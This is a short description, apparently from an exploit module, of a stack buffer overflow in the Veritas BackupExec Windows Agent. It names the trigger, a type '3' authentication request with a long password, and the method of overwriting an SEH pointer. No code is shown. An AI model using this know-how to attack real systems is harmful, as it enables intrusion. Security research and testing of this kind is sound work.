     This module exploits a stack buffer overflow in the Veritas
    BackupExec Windows Agent software. This vulnerability occurs
    when a client authentication request is received with type
    '3' and a long password argument. Reliable execution is
    obtained by abusing the stack buffer overflow to smash a SEH
    pointer.
